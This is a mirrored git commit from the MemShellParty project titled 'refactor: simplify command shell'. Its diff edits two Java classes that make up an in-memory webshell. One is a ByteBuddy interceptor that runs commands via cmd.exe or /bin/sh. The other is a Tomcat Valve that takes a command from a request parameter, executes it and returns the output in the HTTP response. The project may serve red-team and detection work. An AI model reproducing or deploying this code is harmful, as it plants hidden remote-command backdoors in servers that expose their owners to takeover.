mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: simplify command shell
This commit is contained in:
+2
-1
@@ -12,6 +12,7 @@ import java.io.InputStream;
|
||||
public class RuntimeExecInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
||||
}
|
||||
}
|
||||
|
||||
+5
-10
@@ -8,12 +8,13 @@ import javax.servlet.ServletException;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandValve implements Valve {
|
||||
private static String paramName;
|
||||
static String paramName;
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
@@ -21,12 +22,7 @@ public class CommandValve implements Valve {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
@@ -43,8 +39,7 @@ public class CommandValve implements Valve {
|
||||
return null;
|
||||
}
|
||||
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
Valve next;
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
@@ -58,7 +53,7 @@ public class CommandValve implements Valve {
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
Reference in New Issue
Block a user